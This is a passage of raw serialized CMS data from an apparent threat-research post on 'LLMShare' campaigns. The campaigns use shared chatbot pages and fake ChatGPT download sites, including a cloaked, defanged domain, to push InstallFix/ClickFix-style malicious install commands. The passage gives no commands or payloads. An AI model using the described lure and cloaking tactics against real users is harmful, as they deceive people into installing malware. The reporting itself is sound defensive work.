83,"value":13365,"nodeType":865},{},[],{"data":20885,"content":20886,"nodeType":953},{},[],{"data":20888,"content":20889,"nodeType":963},{},[20890],{"data":20891,"marks":20892,"value":13376,"nodeType":865},{},[20893],{"type":961},{"data":20895,"content":20896,"nodeType":866},{},[20897],{"data":20898,"marks":20899,"value":13383,"nodeType":865},{},[],{"data":20901,"content":20902,"nodeType":866},{},[20903],{"data":20904,"marks":20905,"value":13390,"nodeType":865},{},[],{"data":20907,"content":20910,"nodeType":925},{"target":20908},{"sys":20909},{"id":5141,"type":922,"linkType":923},[],{"data":20912,"content":20915,"nodeType":925},{"target":20913},{"sys":20914},{"id":13400,"type":922,"linkType":923},[],{"data":20917,"content":20918,"nodeType":866},{},[20919,20922,20928,20931,20937,20940,20947],{"data":20920,"marks":20921,"value":13408,"nodeType":865},{},[],{"data":20923,"content":20924,"nodeType":882},{"uri":13411},[20925],{"data":20926,"marks":20927,"value":13416,"nodeType":865},{},[],{"data":20929,"marks":20930,"value":13420,"nodeType":865},{},[],{"data":20932,"content":20933,"nodeType":882},{"uri":5307},[20934],{"data":20935,"marks":20936,"value":13427,"nodeType":865},{},[],{"data":20938,"marks":20939,"value":8756,"nodeType":865},{},[],{"data":20941,"content":20942,"nodeType":882},{"uri":13433},[20943],{"data":20944,"marks":20945,"value":13439,"nodeType":865},{},[20946],{"type":997},{"data":20948,"marks":20949,"value":13443,"nodeType":865},{},[],{"data":20951,"content":20952,"nodeType":866},{},[20953],{"data":20954,"marks":20955,"value":13450,"nodeType":865},{},[],{"data":20957,"content":20958,"nodeType":953},{},[],{"data":20960,"content":20961,"nodeType":963},{},[20962],{"data":20963,"marks":20964,"value":13461,"nodeType":865},{},[20965],{"type":961},{"data":20967,"content":20968,"nodeType":866},{},[20969],{"data":20970,"marks":20971,"value":13468,"nodeType":865},{},[],{"data":20973,"content":20974,"nodeType":1458},{},[20975],{"data":20976,"marks":20977,"value":13475,"nodeType":865},{},[],{"data":20979,"content":20980,"nodeType":866},{},[20981,20984,20990,20993,20999,21002,21008],{"data":20982,"marks":20983,"value":13482,"nodeType":865},{},[],{"data":20985,"content":20986,"nodeType":882},{"uri":13485},[20987],{"data":20988,"marks":20989,"value":13490,"nodeType":865},{},[],{"data":20991,"marks":20992,"value":13494,"nodeType":865},{},[],{"data":20994,"content":20995,"nodeType":882},{"uri":13497},[20996],{"data":20997,"marks":20998,"value":13502,"nodeType":865},{},[],{"data":21000,"marks":21001,"value":13506,"nodeType":865},{},[],{"data":21003,"content":21004,"nodeType":882},{"uri":13509},[21005],{"data":21006,"marks":21007,"value":13514,"nodeType":865},{},[],{"data":21009,"marks":21010,"value":13518,"nodeType":865},{},[],{"data":21012,"content":21013,"nodeType":1458},{},[21014],{"data":21015,"marks":21016,"value":13525,"nodeType":865},{},[],{"data":21018,"content":21019,"nodeType":866},{},[21020,21023,21029,21032,21038],{"data":21021,"marks":21022,"value":13532,"nodeType":865},{},[],{"data":21024,"content":21025,"nodeType":882},{"uri":13535},[21026],{"data":21027,"marks":21028,"value":13540,"nodeType":865},{},[],{"data":21030,"marks":21031,"value":13544,"nodeType":865},{},[],{"data":21033,"content":21034,"nodeType":882},{"uri":13547},[21035],{"data":21036,"marks":21037,"value":13552,"nodeType":865},{},[],{"data":21039,"marks":21040,"value":13556,"nodeType":865},{},[],{"data":21042,"content":21043,"nodeType":1458},{},[21044],{"data":21045,"marks":21046,"value":13563,"nodeType":865},{},[],{"data":21048,"content":21049,"nodeType":866},{},[21050,21053,21059,21062,21068,21071,21077],{"data":21051,"marks":21052,"value":13570,"nodeType":865},{},[],{"data":21054,"content":21055,"nodeType":882},{"uri":13573},[21056],{"data":21057,"marks":21058,"value":13578,"nodeType":865},{},[],{"data":21060,"marks":21061,"value":13582,"nodeType":865},{},[],{"data":21063,"content":21064,"nodeType":882},{"uri":13585},[21065],{"data":21066,"marks":21067,"value":13590,"nodeType":865},{},[],{"data":21069,"marks":21070,"value":13594,"nodeType":865},{},[],{"data":21072,"content":21073,"nodeType":882},{"uri":13597},[21074],{"data":21075,"marks":21076,"value":13602,"nodeType":865},{},[],{"data":21078,"marks":21079,"value":13606,"nodeType":865},{},[],{"data":21081,"content":21082,"nodeType":866},{},[21083],{"data":21084,"marks":21085,"value":13613,"nodeType":865},{},[],{"data":21087,"content":21088,"nodeType":953},{},[],{"data":21090,"content":21091,"nodeType":963},{},[21092],{"data":21093,"marks":21094,"value":13624,"nodeType":865},{},[21095],{"type":961},{"data":21097,"content":21098,"nodeType":866},{},[21099,21102,21108],{"data":21100,"marks":21101,"value":13631,"nodeType":865},{},[],{"data":21103,"content":21104,"nodeType":882},{"uri":13634},[21105],{"data":21106,"marks":21107,"value":13639,"nodeType":865},{},[],{"data":21109,"marks":21110,"value":13643,"nodeType":865},{},[],{"data":21112,"content":21113,"nodeType":866},{},[21114],{"data":21115,"marks":21116,"value":13650,"nodeType":865},{},[],{"data":21118,"content":21119,"nodeType":1458},{},[21120],{"data":21121,"marks":21122,"value":13658,"nodeType":865},{},[21123],{"type":961},{"data":21125,"content":21126,"nodeType":866},{},[21127,21130,21134],{"data":21128,"marks":21129,"value":13665,"nodeType":865},{},[],{"data":21131,"marks":21132,"value":3140,"nodeType":865},{},[21133],{"type":961},{"data":21135,"marks":21136,"value":13673,"nodeType":865},{},[],{"data":21138,"content":21139,"nodeType":866},{},[21140],{"data":21141,"marks":21142,"value":13680,"nodeType":865},{},[],{"data":21144,"content":21145,"nodeType":866},{},[21146,21149,21155],{"data":21147,"marks":21148,"value":13687,"nodeType":865},{},[],{"data":21150,"content":21151,"nodeType":882},{"uri":3643},[21152],{"data":21153,"marks":21154,"value":9005,"nodeType":865},{},[],{"data":21156,"marks":21157,"value":13697,"nodeType":865},{},[],{"data":21159,"content":21160,"nodeType":866},{},[21161],{"data":21162,"marks":21163,"value":13704,"nodeType":865},{},[],{"data":21165,"content":21166,"nodeType":953},{},[],{"data":21168,"content":21169,"nodeType":866},{},[21170],{"data":21171,"marks":21172,"value":2792,"nodeType":865},{},[],{"data":21174,"content":21175,"nodeType":866},{},[21176],{"data":21177,"marks":21178,"value":1718,"nodeType":865},{},[],{"data":21180,"content":21181,"nodeType":866},{},[21182,21185,21192],{"data":21183,"marks":21184,"value":21,"nodeType":865},{},[],{"data":21186,"content":21187,"nodeType":882},{"uri":13728},[21188],{"data":21189,"marks":21190,"value":2812,"nodeType":865},{},[21191],{"type":997},{"data":21193,"marks":21194,"value":21,"nodeType":865},{},[],{"data":21196,"content":21197,"nodeType":953},{},[],{"data":21199,"content":21200,"nodeType":963},{},[21201],{"data":21202,"marks":21203,"value":13747,"nodeType":865},{},[21204],{"type":961},{"data":21206,"content":21207,"nodeType":866},{},[21208,21211,21217],{"data":21209,"marks":21210,"value":13754,"nodeType":865},{},[],{"data":21212,"content":21213,"nodeType":882},{"uri":13757},[21214],{"data":21215,"marks":21216,"value":13762,"nodeType":865},{},[],{"data":21218,"marks":21219,"value":13766,"nodeType":865},{},[],{"data":21221,"content":21222,"nodeType":866},{},[21223],{"data":21224,"marks":21225,"value":13773,"nodeType":865},{},[],{"data":21227,"content":21228,"nodeType":2396},{},[21229,21252,21273,21294,21315],{"data":21230,"content":21231,"nodeType":1869},{},[21232,21242],{"data":21233,"content":21234,"nodeType":13791},{},[21235],{"data":21236,"content":21237,"nodeType":866},{},[21238],{"data":21239,"marks":21240,"value":13790,"nodeType":865},{},[21241],{"type":961},{"data":21243,"content":21244,"nodeType":13791},{},[21245],{"data":21246,"content":21247,"nodeType":866},{},[21248],{"data":21249,"marks":21250,"value":13802,"nodeType":865},{},[21251],{"type":961},{"data":21253,"content":21254,"nodeType":1869},{},[21255,21264],{"data":21256,"content":21257,"nodeType":1835},{},[21258],{"data":21259,"content":21260,"nodeType":866},{},[21261],{"data":21262,"marks":21263,"value":13815,"nodeType":865},{},[],{"data":21265,"content":21266,"nodeType":1835},{},[21267],{"data":21268,"content":21269,"nodeType":866},{},[21270],{"data":21271,"marks":21272,"value":13825,"nodeType":865},{},[],{"data":21274,"content":21275,"nodeType":1869},{},[21276,21285],{"data":21277,"content":21278,"nodeType":1835},{},[21279],{"data":21280,"content":21281,"nodeType":866},{},[21282],{"data":21283,"marks":21284,"value":13838,"nodeType":865},{},[],{"data":21286,"content":21287,"nodeType":1835},{},[21288],{"data":21289,"content":21290,"nodeType":866},{},[21291],{"data":21292,"marks":21293,"value":13825,"nodeType":865},{},[],{"data":21295,"content":21296,"nodeType":1869},{},[21297,21306],{"data":21298,"content":21299,"nodeType":1835},{},[21300],{"data":21301,"content":21302,"nodeType":866},{},[21303],{"data":21304,"marks":21305,"value":13860,"nodeType":865},{},[],{"data":21307,"content":21308,"nodeType":1835},{},[21309],{"data":21310,"content":21311,"nodeType":866},{},[21312],{"data":21313,"marks":21314,"value":13870,"nodeType":865},{},[],{"data":21316,"content":21317,"nodeType":1869},{},[21318,21327],{"data":21319,"content":21320,"nodeType":1835},{},[21321],{"data":21322,"content":21323,"nodeType":866},{},[21324],{"data":21325,"marks":21326,"value":13883,"nodeType":865},{},[],{"data":21328,"content":21329,"nodeType":1835},{},[21330],{"data":21331,"content":21332,"nodeType":866},{},[21333],{"data":21334,"marks":21335,"value":13893,"nodeType":865},{},[],{"data":21337,"content":21338,"nodeType":866},{},[21339],{"data":21340,"marks":21341,"value":21,"nodeType":865},{},[],{"entries":21343},{"hyperlink":21344,"inline":21345,"block":21346},[],[],[21347,21351,21376,21381,21388,21395,21401,21409,21416,21419],{"sys":21348,"__typename":1747,"title":21349,"caption":59,"layoutMode":59,"file":21350},{"id":13176},"LLMShare pages side by side",{"url":5619,"width":1759,"height":5620},{"sys":21352,"__typename":9270,"content":21353,"name":21375,"title":59},{"id":13182},{"json":21354},{"nodeType":1739,"data":21355,"content":21356},{},[21357],{"nodeType":866,"data":21358,"content":21359},{},[21360,21364,21371],{"nodeType":865,"value":21361,"marks":21362,"data":21363},"These are essentially InstallFix attacks — a variant of the ClickFix family that ",[],{},{"nodeType":882,"data":21365,"content":21366},{"uri":11342},[21367],{"nodeType":865,"value":21368,"marks":21369,"data":21370},"Push documented earlier this year",[],{},{"nodeType":865,"value":21372,"marks":21373,"data":21374}," — and they exploit the fact that AI tools have normalized command-line installation workflows for a population of users who lack the experience to distinguish a legitimate terminal command from a malicious one. ",[],{},"LLMShare IB1",{"sys":21377,"__typename":1747,"title":21378,"caption":21379,"layoutMode":59,"file":21380},{"id":13234},"LLMShare error page","The fake \"high traffic\" page rendered inside a ChatGPT shared content URL. Note the \"Show code\" and \"Remix with ChatGPT\" buttons at the top, which reveal that this is actually rendered HTML/CSS code rather than a real ChatGPT system page.",{"url":18207,"width":1759,"height":18208},{"sys":21382,"__typename":1747,"title":21383,"caption":21384,"layoutMode":59,"file":21385},{"id":13254},"LLMShare panel showing source code","The same page with the code panel open, showing the HTML/CSS source code that generates the fake service disruption notice.",{"url":21386,"width":1759,"height":21387},"https://images.ctfassets.net/y1cdw1ablpvd/22IO2J68rUGy5ZzEAGfFIh/ff98ca14ed74de0c35e5154c43aa1524/image7.png",1128,{"sys":21389,"__typename":1747,"title":21390,"caption":21391,"layoutMode":59,"file":21392},{"id":13278},"LLMShare page with download panel","The fake ChatGPT download page hosted at openew[.]app. The design closely replicates OpenAI's legitimate download page.",{"url":21393,"width":1759,"height":21394},"https://images.ctfassets.net/y1cdw1ablpvd/4woFKeexapLYHfpKfCzEbo/8b7fc45a933af8fea5f6bce97823e123/image2.png",1210,{"sys":21396,"__typename":1747,"title":21397,"caption":21398,"layoutMode":59,"file":21399},{"id":13284},"Real ChatGPT download page for comparison at chatgpt.com/download.","Real ChatGPT download page for comparison chatgpt.com/download.",{"url":21400,"width":1759,"height":12295},"https://images.ctfassets.net/y1cdw1ablpvd/3hHpXRmxJyRPs4y1SQbHMM/67e33342db5ecb1e3928bb8e1a56749a/image5.png",{"sys":21402,"__typename":1747,"title":21403,"caption":21404,"layoutMode":59,"file":21405},{"id":13322},"Alternative LLMShare page for bot visitors","What URLScan sees when visiting the same openew[.]app URL: a generic \"Openew\" AR/VR company website with no trace of the ChatGPT impersonation.",{"url":21406,"width":21407,"height":21408},"https://images.ctfassets.net/y1cdw1ablpvd/apMKHaMjDF9GmoCO1gVHT/c25938faf56bb96b467469209470e40c/image1.png",1600,1200,{"sys":21410,"__typename":1747,"title":21411,"caption":21411,"layoutMode":59,"file":21412},{"id":13357},"A shared Claude.ai conversation containing malicious installation instructions in the style previously reported by BleepingComputer.",{"url":21413,"width":21414,"height":21415},"https://images.ctfassets.net/y1cdw1ablpvd/2YLf3kEK2y2XjdyM1Q9uRT/6b5774de9708ff8544889305a094d991/image6.png",1920,945,{"sys":21417,"__typename":1747,"title":5609,"caption":5610,"layoutMode":59,"file":21418},{"id":5141},{"url":5612,"width":5613,"height":5614},{"sys":21420,"__typename":9270,"content":21421,"name":21455,"title":59},{"id":13400},{"json":21422},{"nodeType":1739,"data":21423,"content":21424},{},[21425,21436],{"nodeType":866,"data":21426,"content":21427},{},[21428,21432],{"nodeType":865,"value":21429,"marks":21430,"data":21431},"Although we managed to grab that example, the ads haven't been easy to reproduce.",[],{},{"nodeType":865,"value":21433,"marks":21434,"data":21435}," This is because the ads are likely geographically or temporally scoped. It’s pretty eye-opening (and creepy) how tightly scoped these kinds of sponsored ads can be across different platforms. ",[],{},{"nodeType":866,"data":21437,"content":21438},{},[21439,21443,21451],{"nodeType":865,"value":21440,"marks":21441,"data":21442},"This is one of the key misconceptions people can have about this kind of attack. It’s easy to see it as untargeted, when realistically it can be scoped tightly to a desired victim population by role, geography, and so on. We’ve written about this previously in ",[],{},{"nodeType":882,"data":21444,"content":21445},{"uri":3122},[21446],{"nodeType":865,"value":21447,"marks":21448,"data":21450},"our blog",[21449],{"type":997},{},{"nodeType":865,"value":21452,"marks":21453,"data":21454}," on the ad account takeover > malvertising ecosystem. ",[],{},"LLMShare IB2",{"items":21457},[],{},"LLMShare: using shared chatbot pages to distribute malware","threat-research",{"items":21462},[21463,22184,23209],{"__typename":1788,"sys":21464,"content":21465,"title":19778,"synopsis":19779,"hashTags":59,"publishedDate":19780,"slug":19781,"tagsCollection":22174,"authorsCollection":22180},{"id":15449},{"json":21466},{"data":21467,"content":21468,"nodeType":1739},{},[21469,21484,21499,21514,21519,21522,21529,21535,21541,21547,21553,21560,21563,21570,21576,21582,21588,21593,21600,21615,21621,21627,21640,21647,21671,21684,21690,21714,21721,21745,21751,21758,21773,21779,21785,21790,21796,21803,21818,21824,21840,21846,21849,21856,21862,21937,21943,21956,21959,21984,21999,22005,22011,22014,22021,22036,22042,22048,22063,22066,22073,22079,22109,22115,22130,22145,22150,22153,22159],{"data":21470,"content":21471,"nodeType":866},{},[21472,21475,21481],{"data":21473,"marks":21474,"value":18958,"nodeType":865},{},[],{"data":21476,"content":21477,"nodeType":882},{"uri":18961},[21478],{"data":21479,"marks":21480,"value":18966,"nodeType":865},{},[],{"data":21482,"marks":21483,"value":18970,"nodeType":865},{},[],{"data":21485,"content":21486,"nodeType":866},{},[21487,21490,21496],{"data":21488,"marks":21489,"value":18977,"nodeType":865},{},[],{"data":21491,"content":21492,"nodeType":882},{"uri":18980},[21493],{"data":21494,"marks":21495,"value":18985,"nodeType":865},{},[],{"data":21497,"marks":21498,"value":18989,"nodeType":865},{},[],{"data":21500,"content":21501,"nodeType":866},{},[21502,21505,21511],{"data":21503,"marks":21504,"value":18996,"nodeType":865},{},[],{"data":21506,"content":21507,"nodeType":882},{"uri":18999},[21508],{"data":21509,"marks":21510,"value":15454,"nodeType":865},{},[],{"data":21512,"marks":21513,"value":19007,"nodeType":865},{},[],{"data":21515,"content":21518,"nodeType":925},{"target":21516},{"sys":21517},{"id":19012,"type":922,"linkType":923},[],{"data":21520,"content":21521,"nodeType":953},{},[],{"data":21523,"content":21524,"nodeType":963},{},[21525],{"data":21526,"marks":21527,"value":19024,"nodeType":865},{},[21528],{"type":961},{"data":21530,"content":21531,"nodeType":866},{},[21532],{"data":21533,"marks":21534,"value":19031,"nodeType":865},{},[],{"data":21536,"content":21537,"nodeType":866},{},[21538],{"data":21539,"marks":21540,"value":19038,"nodeType":865},{},[],{"data":21542,"content":21543,"nodeType":866},{},[21544],{"data":21545,"marks":21546,"value":19045,"nodeType":865},{},[],{"data":21548,"content":21549,"nodeType":866},{},[21550],{"data":21551,"marks":21552,"value":19052,"nodeType":865},{},[],{"data":21554,"content":21555,"nodeType":866},{},[21556],{"data":21557,"marks":21558,"value":19060,"nodeType":865},{},[21559],{"type":961},{"data":21561,"content":21562,"nodeType":953},{},[],{"data":21564,"content":21565,"nodeType":963},{},[21566],{"data":21567,"marks":21568,"value":19071,"nodeType":865},{},[21569],{"type":961},{"data":21571,"content":21572,"nodeType":866},{},[21573],{"data":21574,"marks":21575,"value":19078,"nodeType":865},{},[],{"data":21577,"content":21578,"nodeType":866},{},[21579],{"data":21580,"marks":21581,"value":19085,"nodeType":865},{},[],{"data":21583,"content":21584,"nodeType":866},{},[21585],{"data":21586,"marks":21587,"value":19092,"nodeType":865},{},[],{"data":21589,"content":21592,"nodeType":925},{"target":21590},{"sys":21591},{"id":19097,"type":922,"linkType":923},[],{"data":21594,"content":21595,"nodeType":1458},{},[21596],{"data":21597,"marks":21598,"value":19106,"nodeType":865},{},[21599],{"type":961},{"data":21601,"content":21602,"nodeType":866},{},[21603,21606,21612],{"data":21604,"marks":21605,"value":19113,"nodeType":865},{},[],{"data":21607,"content":21608,"nodeType":882},{"uri":8581},[21609],{"data":21610,"marks":21611,"value":19120,"nodeType":865},{},[],{"data":21613,"marks":21614,"value":19124,"nodeType":865},{},[],{"data":21616,"content":21617,"nodeType":866},{},[21618],{"data":21619,"marks":21620,"value":19131,"nodeType":865},{},[],{"data":21622,"content":21623,"nodeType":866},{},[21624],{"data":21625,"marks":21626,"value":19138,"nodeType":865},{},[],{"data":21628,"content":21629,"nodeType":866},{},[21630,21633,21637],{"data":21631,"marks":21632,"value":19145,"nodeType":865},{},[],{"data":21634,"marks":21635,"value":19150,"nodeType":865},{},[21636],{"type":961},{"data":21638,"marks":21639,"value":19154,"nodeType":865},{},[],{"data":21641,"content":21642,"nodeType":1458},{},[21643],{"data":21644,"marks":21645,"value":19162,"nodeType":865},{},[21646],{"type":961},{"data":21648,"content":21649,"nodeType":866},{},[21650,21653,21659,21662,21668],{"data":21651,"marks":21652,"value":19169,"nodeType":865},{},[],{"data":21654,"content":21655,"nodeType":882},{"uri":10494},[21656],{"data":21657,"marks":21658,"value":19176,"nodeType":865},{},[],{"data":21660,"marks":21661,"value":19180,"nodeType":865},{},[],{"data":21663,"content":21664,"nodeType":882},{"uri":1362},[21665],{"data":21666,"marks":21667,"value":19187,"nodeType":865},{},[],{"data":21669,"marks":21670,"value":19191,"nodeType":865},{},[],{"data":21672,"content":21673,"nodeType":866},{},[21674,21677,21681],{"data":21675,"marks":21676,"value":19198,"nodeType":865},{},[],{"data":21678,"marks":21679,"value":19203,"nodeType":865},{},[21680],{"type":961},{"data":21682,"marks":21683,"value":19207,"nodeType":865},{},[],{"data":21685,"content":21686,"nodeType":866},{},[21687],{"data":21688,"marks":21689,"value":19214,"nodeType":865},{},[],{"data":21691,"content":21692,"nodeType":866},{},[21693,21696,21702,21705,21711],{"data":21694,"marks":21695,"value":19221,"nodeType":865},{},[],{"data":21697,"content":21698,"nodeType":882},{"uri":11342},[21699],{"data":21700,"marks":21701,"value":19228,"nodeType":865},{},[],{"data":21703,"marks":21704,"value":19232,"nodeType":865},{},[],{"data":21706,"content":21707,"nodeType":882},{"uri":11102},[21708],{"data":21709,"marks":21710,"value":11095,"nodeType":865},{},[],{"data":21712,"marks":21713,"value":19242,"nodeType":865},{},[],{"data":21715,"content":21716,"nodeType":1458},{},[21717],{"data":21718,"marks":21719,"value":19250,"nodeType":865},{},[21720],{"type":961},{"data":21722,"content":21723,"nodeType":866},{},[21724,21727,21733,21736,21742],{"data":21725,"marks":21726,"value":19257,"nodeType":865},{},[],{"data":21728,"content":21729,"nodeType":882},{"uri":19260},[21730],{"data":21731,"marks":21732,"value":19265,"nodeType":865},{},[],{"data":21734,"marks":21735,"value":19269,"nodeType":865},{},[],{"data":21737,"content":21738,"nodeType":882},{"uri":3009},[21739],{"data":21740,"marks":21741,"value":19276,"nodeType":865},{},[],{"data":21743,"marks":21744,"value":19280,"nodeType":865},{},[],{"data":21746,"content":21747,"nodeType":866},{},[21748],{"data":21749,"marks":21750,"value":19287,"nodeType":865},{},[],{"data":21752,"content":21753,"nodeType":1458},{},[21754],{"data":21755,"marks":21756,"value":19295,"nodeType":865},{},[21757],{"type":961},{"data":21759,"content":21760,"nodeType":866},{},[21761,21764,21770],{"data":21762,"marks":21763,"value":19302,"nodeType":865},{},[],{"data":21765,"content":21766,"nodeType":882},{"uri":1384},[21767],{"data":21768,"marks":21769,"value":19309,"nodeType":865},{},[],{"data":21771,"marks":21772,"value":19313,"nodeType":865},{},[],{"data":21774,"content":21775,"nodeType":866},{},[21776],{"data":21777,"marks":21778,"value":19320,"nodeType":865},{},[],{"data":21780,"content":21781,"nodeType":866},{},[21782],{"data":21783,"marks":21784,"value":19327,"nodeType":865},{},[],{"data":21786,"content":21789,"nodeType":925},{"target":21787},{"sys":21788},{"id":19332,"type":922,"linkType":923},[],{"data":21791,"content":21792,"nodeType":866},{},[21793],{"data":21794,"marks":21795,"value":19340,"nodeType":865},{},[],{"data":21797,"content":21798,"nodeType":1458},{},[21799],{"data":21800,"marks":21801,"value":19348,"nodeType":865},{},[21802],{"type":961},{"data":21804,"content":21805,"nodeType":866},{},[21806,21809,21815],{"data":21807,"marks":21808,"value":19355,"nodeType":865},{},[],{"data":21810,"content":21811,"nodeType":882},{"uri":4136},[21812],{"data":21813,"marks":21814,"value":19362,"nodeType":865},{},[],{"data":21816,"marks":21817,"value":19366,"nodeType":865},{},[],{"data":21819,"content":21820,"nodeType":866},{},[21821],{"data":21822,"marks":21823,"value":19373,"nodeType":865},{},[],{"data":21825,"content":21826,"nodeType":866},{},[21827,21830,21837],{"data":21828,"marks":21829,"value":19380,"nodeType":865},{},[],{"data":21831,"content":21832,"nodeType":882},{"uri":4136},[21833],{"data":21834,"marks":21835,"value":19388,"nodeType":865},{},[21836],{"type":997},{"data":21838,"marks":21839,"value":19392,"nodeType":865},{},[],{"data":21841,"content":21842,"nodeType":866},{},[21843],{"data":21844,"marks":21845,"value":19399,"nodeType":865},{},[],{"data":21847,"content":21848,"nodeType":953},{},[],{"data":21850,"content":21851,"nodeType":963},{},[21852],{"data":21853,"marks":21854,"value":19410,"nodeType":865},{},[21855],{"type":961},{"data":21857,"content":21858,"nodeType":866},{},[21859],{"data":21860,"marks":21861,"value":19417,"nodeType":865},{},[],{"data":21863,"content":21864,"nodeType":1049},{},[21865,21883,21901,21919],{"data":21866,"content":21867,"nodeType":1003},{},[21868],{"data":21869,"content":21870,"nodeType":866},{},[21871,21874,21880],{"data":21872,"marks":21873,"value":19430,"nodeType":865},{},[],{"data":21875,"content":21876,"nodeType":882},{"uri":8759},[21877],{"data":21878,"marks":21879,"value":19437,"nodeType":865},{},[],{"data":21881,"marks":21882,"value":19441,"nodeType":865},{},[],{"data":21884,"content":21885,"nodeType":1003},{},[21886],{"data":21887,"content":21888,"nodeType":866},{},[21889,21892,21898],{"data":21890,"marks":21891,"value":19451,"nodeType":865},{},[],{"data":21893,"content":21894,"nodeType":882},{"uri":19454},[21895],{"data":21896,"marks":21897,"value":19459,"nodeType":865},{},[],{"data":21899,"marks":21900,"value":19463,"nodeType":865},{},[],{"data":21902,"content":21903,"nodeType":1003},{},[21904],{"data":21905,"content":21906,"nodeType":866},{},[21907,21910,21916],{"data":21908,"marks":21909,"value":19430,"nodeType":865},{},[],{"data":21911,"content":21912,"nodeType":882},{"uri":11102},[21913],{"data":21914,"marks":21915,"value":19479,"nodeType":865},{},[],{"data":21917,"marks":21918,"value":19483,"nodeType":865},{},[],{"data":21920,"content":21921,"nodeType":1003},{},[21922],{"data":21923,"content":21924,"nodeType":866},{},[21925,21928,21934],{"data":21926,"marks":21927,"value":873,"nodeType":865},{},[],{"data":21929,"content":21930,"nodeType":882},{"uri":19495},[21931],{"data":21932,"marks":21933,"value":3909,"nodeType":865},{},[],{"data":21935,"marks":21936,"value":19503,"nodeType":865},{},[],{"data":21938,"content":21939,"nodeType":866},{},[21940],{"data":21941,"marks":21942,"value":19510,"nodeType":865},{},[],{"data":21944,"content":21945,"nodeType":866},{},[21946,21949,21953],{"data":21947,"marks":21948,"value":19517,"nodeType":865},{},[],{"data":21950,"marks":21951,"value":19522,"nodeType":865},{},[21952],{"type":961},{"data":21954,"marks":21955,"value":19526,"nodeType":865},{},[],{"data":21957,"content":21958,"nodeType":953},{},[],{"data":21960,"content":21961,"nodeType":963},{},[21962,21966,21971,21975,21980],{"data":21963,"marks":21964,"value":19537,"nodeType":865},{},[21965],{"type":961},{"data":21967,"marks":21968,"value":19543,"nodeType":865},{},[21969,21970],{"type":944},{"type":961},{"data":21972,"marks":21973,"value":19548,"nodeType":865},{},[21974],{"type":961},{"data":21976,"marks":21977,"value":19554,"nodeType":865},{},[21978,21979],{"type":944},{"type":961},{"data":21981,"marks":21982,"value":19559,"nodeType":865},{},[21983],{"type":961},{"data":21985,"content":21986,"nodeType":866},{},[21987,21990,21996],{"data":21988,"marks":21989,"value":19566,"nodeType":865},{},[],{"data":21991,"content":21992,"nodeType":882},{"uri":19569},[21993],{"data":21994,"marks":21995,"value":19574,"nodeType":865},{},[],{"data":21997,"marks":21998,"value":19578,"nodeType":865},{},[],{"data":22000,"content":22001,"nodeType":866},{},[22002],{"data":22003,"marks":22004,"value":19585,"nodeType":865},{},[],{"data":22006,"content":22007,"nodeType":866},{},[22008],{"data":22009,"marks":22010,"value":19592,"nodeType":865},{},[],{"data":22012,"content":22013,"nodeType":953},{},[],{"data":22015,"content":22016,"nodeType":963},{},[22017],{"data":22018,"marks":22019,"value":19603,"nodeType":865},{},[22020],{"type":961},{"data":22022,"content":22023,"nodeType":866},{},[22024,22027,22033],{"data":22025,"marks":22026,"value":19610,"nodeType":865},{},[],{"data":22028,"content":22029,"nodeType":882},{"uri":19613},[22030],{"data":22031,"marks":22032,"value":19618,"nodeType":865},{},[],{"data":22034,"marks":22035,"value":19622,"nodeType":865},{},[],{"data":22037,"content":22038,"nodeType":866},{},[22039],{"data":22040,"marks":22041,"value":19629,"nodeType":865},{},[],{"data":22043,"content":22044,"nodeType":866},{},[22045],{"data":22046,"marks":22047,"value":19636,"nodeType":865},{},[],{"data":22049,"content":22050,"nodeType":866},{},[22051,22054,22060],{"data":22052,"marks":22053,"value":19643,"nodeType":865},{},[],{"data":22055,"content":22056,"nodeType":882},{"uri":19646},[22057],{"data":22058,"marks":22059,"value":19618,"nodeType":865},{},[],{"data":22061,"marks":22062,"value":1048,"nodeType":865},{},[],{"data":22064,"content":22065,"nodeType":953},{},[],{"data":22067,"content":22068,"nodeType":963},{},[22069],{"data":22070,"marks":22071,"value":19664,"nodeType":865},{},[22072],{"type":961},{"data":22074,"content":22075,"nodeType":866},{},[22076],{"data":22077,"marks":22078,"value":19671,"nodeType":865},{},[],{"data":22080,"content":22081,"nodeType":1049},{},[22082,22091,22100],{"data":22083,"content":22084,"nodeType":1003},{},[22085],{"data":22086,"content":22087,"nodeType":866},{},[22088],{"data":22089,"marks":22090,"value":19684,"nodeType":865},{},[],{"data":22092,"content":22093,"nodeType":1003},{},[22094],{"data":22095,"content":22096,"nodeType":866},{},[22097],{"data":22098,"marks":22099,"value":19694,"nodeType":865},{},[],{"data":22101,"content":22102,"nodeType":1003},{},[22103],{"data":22104,"content":22105,"nodeType":866},{},[22106],{"data":22107,"marks":22108,"value":19704,"nodeType":865},{},[],{"data":22110,"content":22111,"nodeType":866},{},[22112],{"data":22113,"marks":22114,"value":19711,"nodeType":865},{},[],{"data":22116,"content":22117,"nodeType":866},{},[22118,22121,22127],{"data":22119,"marks":22120,"value":19718,"nodeType":865},{},[],{"data":22122,"content":22123,"nodeType":882},{"uri":18999},[22124],{"data":22125,"marks":22126,"value":19725,"nodeType":865},{},[],{"data":22128,"marks":22129,"value":1048,"nodeType":865},{},[],{"data":22131,"content":22132,"nodeType":866},{},[22133,22136,22142],{"data":22134,"marks":22135,"value":19735,"nodeType":865},{},[],{"data":22137,"content":22138,"nodeType":882},{"uri":5636},[22139],{"data":22140,"marks":22141,"value":19742,"nodeType":865},{},[],{"data":22143,"marks":22144,"value":19746,"nodeType":865},{},[],{"data":22146,"content":22149,"nodeType":925},{"target":22147},{"sys":22148},{"id":19751,"type":922,"linkType":923},[],{"data":22151,"content":22152,"nodeType":953},{},[],{"data":22154,"content":22155,"nodeType":866},{},[22156],{"data":22157,"marks":22158,"value":19762,"nodeType":865},{},[],{"data":22160,"content":22161,"nodeType":866},{},[22162,22165,22171],{"data":22163,"marks":22164,"value":1725,"nodeType":865},{},[],{"data":22166,"content":22167,"nodeType":882},{"uri":1728},[22168],{"data":22169,"marks":22170,"value":1734,"nodeType":865},{},[],{"data":22172,"marks":22173,"value":1738,"nodeType":865},{},[],{"items":22175},[22176,22178],{"sys":22177,"name":11426},{"id":11425},{"sys":22179,"name":342},{"id":8410},{"items":22181},[22182],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":22183},{"url":11434},{"__typename":1788,"sys":22185,"content":22186,"title":23191,"synopsis":23192,"hashTags":59,"publishedDate":23193,"slug":23194,"tagsCollection":23195,"authorsCollection":23201},{"id":15362},{"json":22187},{"data":22188,"content":22189,"nodeType":1739},{},[22190,22196,22203,22210,22218,22233,22239,22242,22250,22257,22264,22271,22278,22285,22292,22299,22306,22312,22318,22325,22331,22338,